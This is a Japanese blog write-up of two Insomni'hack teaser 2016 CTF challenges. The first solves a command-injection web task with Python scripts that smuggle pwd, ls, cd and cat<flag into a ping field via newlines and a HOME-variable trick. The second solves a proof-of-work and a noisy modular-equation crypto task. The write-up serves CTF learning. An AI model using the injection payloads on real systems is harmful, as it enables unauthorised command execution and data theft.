Insomni'hack teaser 2016

Insomni'hack teaser 2016 writeup smartcat1

smartcat1 - Web - 50 pts - realized by grimmlin

Damn it, that stupid smart cat litter is broken again
Now only the debug interface is available here and this stupid thing only permits one ping to be sent!
I know my contract number is stored somewhere on that interface but I can't find it and this is the only available page! Please have a look and get this info for me !
FYI No need to bruteforce anything there. If you do you'll be banned permanently
Ping destinationにIPアドレスを入力してEnterすると、PINGコマンドの実行結果が出力されます。OSコマンドインジェクションの脆弱性をつく問題だと思われます。
no title

改行コードで区切ってpwdコマンド、lsコマンドを送り込んでみます。次のPythonプログラムでCGIプログラムに接続します。
import requests
from lxml import html
cookies={}

session_headers = {}

http_session = requests.Session()
http_session.headers.update(session_headers)

data = {'dest':'127.0.0.1>/dev/null\npwd\nls'}
resp = http_session.post("http://smartcat.insomnihack.ch/cgi-bin/index.cgi", data=data, cookies=cookies)

print(resp.text)
プログラムを実行すると、レスポンスのHTML中に以下の出力を得ることができました。cgiプログラムのカレントディレクトリが/var/www/cgi-bin、そのディレクトリにindex.cgiファイルとthereフォルダが存在することが分かります。
  <pre>/var/www/cgi-bin
index.cgi
there
</pre>
スペースや$などの文字はサニタイジングしているようで使えませんので、環境変数のHOMEにパスを設定してcdコマンドでディレクトリを移動します。これを繰り返すと、最後にflagファイルが見つかります。スペースが使えないので、catコマンドに入力リダイレクトでflagファイルを読み込ませます。
import requests
from lxml import html
cookies={}

session_headers = {}

http_session = requests.Session()
http_session.headers.update(session_headers)

data = {'dest':'127.0.0.1>/dev/null\npwd\nls\nHOME=/var/www/cgi-bin/there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though/here/is/the\ncd\npwd\nls\ncat<flag'}
resp = http_session.post("http://smartcat.insomnihack.ch/cgi-bin/index.cgi", data=data, cookies=cookies)

print(resp.text)
実行すると、次の出力を得ることができました。
  <pre>/var/www/cgi-bin
index.cgi
there
/var/www/cgi-bin/there/is/your/flag/or/maybe/not/what/do/you/think/really/please
/tell/me/seriously/though/here/is/the
flag
INS{warm_kitty_smelly_kitty_flush_flush_flush}
</pre>
フラグは、
INS{warm_kitty_smelly_kitty_flush_flush_flush}
です。



Insomni'hack teaser 2016 writeup Bring the noise

Bring the noise - Crypto - 200 pts - realized by veorq

Quantum computers won't help you

Source
Running on: bringthenoise.insomnihack.ch:1111
ncコマンドで指示されたサーバー、ポートに接続すると、Challenge = ?????と表示されて入力待ちになります。
>nc.exe bringthenoise.insomnihack.ch 1111
Challenge = 19fee
何か適当に入力するとすると、「Wrong」と表示されて切断されてしまいます。
aaaa
Wrong
さて、ここで提示されているソースを確認します。
35~41行目が1つ目の入力チェック部分です。Challenge = ?????の部分は、ランダムな16進文字列5桁が表示される(ソース35~36行目)ようです。そして、入力した文字列をMD5でハッシュ化した16進文字列(ソース38行目)の先頭5桁が一致していれば(ソース39行目)次に進めるようです。
        challenge = hexlify(os.urandom(1+POWLEN/2))[:POWLEN]
        put('Challenge = %s\n' % challenge)
        response = self.rfile.readline()[:-1]
        responsehash = hashlib.md5(response).hexdigest().strip()
        if responsehash[:POWLEN] != challenge:
            put('Wrong\n')
            return
そこで、数字のみで0,1,2,…と順にMD5のハッシュ値を計算し先頭5桁と、表示されたchallengeを比較するpythonプログラムを作成します。以下のプログラムを「aaa.py」として保存します。
import hashlib
POWLEN = 5
response = 0
challenge = '19fee'
while True:
    responsehash = hashlib.md5(str(response)).hexdigest().strip()
    if responsehash[:POWLEN] == challenge:
        print(str(response) + '\n')
        break
    response += 1
実行すると、数秒で次のとおり結果が出ます。2029864のMD5ハッシュ値は「19feea32e280740586d9795346b1f99f」なので確かに合っています。
>aaa.py
2029864
この値を入力するとやはり正解だったようで、次にカンマ区切りで7つの数字が40行表示されます。
提示されたソースの17~27行目、43~52行目が該当部分です。まず、solutionは0~7の乱数6個から成り(ソース19行目)、これが答えになります(ソース50行目)。次に、表示される7つの数字40行の部分ですが、最初の6つはcoefsという0~7の乱数6個で、7つ目はcoefsとsolutionについて各要素同士の積の和を8で割った余り(ソース23行目)を、ランダムに-1~+1した値(ソース24,25行目)になります。これを40回まわして40行分出力しています。
def learn_with_vibrations():
    q, n, eqs = 8, 6, 40
    solution = [randint(q) for i in range(n)]
    equations = []
    for i in range(eqs):
        coefs = [randint(q) for i in range(n)]
        result = sum([solution[i]*coefs[i] for i in range(n)]) % q
        vibration = randint(3) - 1
        result = (result + q + vibration) % q
        equations.append('%s, %d' % (str(coefs)[1:-1], result))
    return equations, solution

        (中略)

        equations, solution = learn_with_vibrations()
        for equation in  equations:
            put(equation + '\n')

        put('Enter solution as "1, 2, 3, 4, 5, 6"\n')

        sol = self.rfile.readline().strip()
        if sol != str(solution)[1:-1]:
            put('Wrong\n')
            return
したがって、solutionをランダムに生成し(以下のプログラムでは変数ans)、40行の全てについて、最初の6つの数値とansとで同様の計算をした結果と7つ目の数値との差が-1,0,1のいずれかであれば、変数ansが答えと想定されます。この処理を行う以下のプログラムを「bbb.py」として保存します。
import struct
import os

def randint(bound):
    return struct.unpack('<L', os.urandom(4))[0] % bound

equations = [
"2, 2, 3, 2, 3, 4, 2",
"1, 0, 4, 6, 6, 4, 1",
"2, 1, 7, 6, 3, 0, 0",
"5, 6, 1, 4, 2, 1, 2",
"7, 6, 2, 0, 3, 4, 6",
"4, 7, 6, 7, 7, 4, 1",
"2, 5, 2, 7, 6, 4, 4",
"0, 6, 7, 6, 7, 4, 3",
"2, 2, 6, 2, 0, 4, 5",
"1, 4, 6, 7, 4, 3, 0",
"3, 7, 0, 3, 3, 6, 2",
"4, 3, 5, 6, 4, 3, 7",
"3, 5, 0, 1, 6, 0, 5",
"5, 6, 0, 3, 7, 3, 7",
"0, 6, 0, 0, 5, 4, 5",
"0, 1, 5, 2, 6, 4, 1",
"2, 6, 2, 5, 7, 5, 2",
"2, 2, 0, 1, 6, 6, 2",
"0, 4, 4, 4, 4, 6, 2",
"1, 0, 7, 3, 7, 5, 7",
"2, 4, 7, 6, 5, 4, 5",
"5, 7, 4, 7, 3, 4, 7",
"1, 3, 3, 5, 7, 4, 7",
"0, 0, 2, 4, 5, 3, 1",
"5, 2, 3, 5, 0, 0, 2",
"5, 4, 5, 7, 3, 1, 7",
"5, 7, 5, 2, 4, 5, 1",
"1, 3, 3, 4, 0, 2, 6",
"4, 7, 0, 2, 4, 5, 7",
"6, 1, 5, 5, 1, 6, 1",
"5, 0, 4, 4, 1, 6, 0",
"0, 2, 5, 4, 5, 4, 2",
"7, 1, 1, 1, 5, 2, 3",
"4, 6, 0, 2, 4, 5, 4",
"4, 0, 1, 1, 2, 0, 1",
"3, 7, 4, 5, 3, 6, 3",
"0, 7, 7, 5, 6, 7, 4",
"1, 2, 3, 2, 4, 5, 3",
"6, 1, 2, 3, 5, 2, 1",
"5, 1, 5, 0, 3, 7, 1"
]

while True:
    ok = 1
    ans = [randint(8) for i in range(6)]
    for i in range(40):
        equ = equations[i]
        coefs = equ.replace("L", "").split(",")
        result = int(coefs[6])
        del coefs[6]
        res = sum([ans[j]*int(coefs[j]) for j in range(6)]) % 8
        if not ((res + 8 + 1) % 8 == result or (res + 8) % 8 == result or (res + 8 - 1) % 8 == result):
            ok = 0
            break
    if ok == 1:
        print ans
        break
実行すると、数秒で次のとおり答えが表示されます。
>bbb.py
[0L, 2L, 2, 5, 1, 7L]
この値を入力すると、フラグが表示されました。
以下は、実際のコンソールのログです。
>nc.exe bringthenoise.insomnihack.ch 1111
Challenge = 19fee
2029864
2, 2, 3, 2, 3, 4, 2
1, 0, 4, 6, 6, 4, 1
2, 1, 7, 6, 3, 0, 0
5, 6, 1, 4, 2, 1, 2
7, 6, 2, 0, 3, 4, 6
4, 7, 6, 7, 7, 4, 1
2, 5, 2, 7, 6, 4, 4
0, 6, 7, 6, 7, 4, 3
2, 2, 6, 2, 0, 4, 5
1, 4, 6, 7, 4, 3, 0
3, 7, 0, 3, 3, 6, 2
4, 3, 5, 6, 4, 3, 7
3, 5, 0, 1, 6, 0, 5
5, 6, 0, 3, 7, 3, 7
0, 6, 0, 0, 5, 4, 5
0, 1, 5, 2, 6, 4, 1
2, 6, 2, 5, 7, 5, 2
2, 2, 0, 1, 6, 6, 2
0, 4, 4, 4, 4, 6, 2
1, 0, 7, 3, 7, 5, 7
2, 4, 7, 6, 5, 4, 5
5, 7, 4, 7, 3, 4, 7
1, 3, 3, 5, 7, 4, 7
0, 0, 2, 4, 5, 3, 1
5, 2, 3, 5, 0, 0, 2
5, 4, 5, 7, 3, 1, 7
5, 7, 5, 2, 4, 5, 1
1, 3, 3, 4, 0, 2, 6
4, 7, 0, 2, 4, 5, 7
6, 1, 5, 5, 1, 6, 1
5, 0, 4, 4, 1, 6, 0
0, 2, 5, 4, 5, 4, 2
7, 1, 1, 1, 5, 2, 3
4, 6, 0, 2, 4, 5, 4
4, 0, 1, 1, 2, 0, 1
3, 7, 4, 5, 3, 6, 3
0, 7, 7, 5, 6, 7, 4
1, 2, 3, 2, 4, 5, 3
6, 1, 2, 3, 5, 2, 1
5, 1, 5, 0, 3, 7, 1
Enter solution as "1, 2, 3, 4, 5, 6"
0, 2, 2, 5, 1, 7
INS{ErrorsOccurMistakesAreMade}
フラグは、
INS{ErrorsOccurMistakesAreMade}
です。



記事検索
ギャラリー
  • TetCTF 2023 NewYearBot
  • UUT CTF writeup Find The Password
  • UUT CTF writeup The Puzzle
  • Hack Zone Tunisia 2019 writeup Microscope
  • Hack Zone Tunisia 2019 writeup Welcome
  • SwampCTF 2019 writeup Brokerboard
  • SwampCTF 2019 writeup Leap of Faith
  • SwampCTF 2019 writeup Last Transmission
  • CBM CTF 2019 writeup Long road
カテゴリー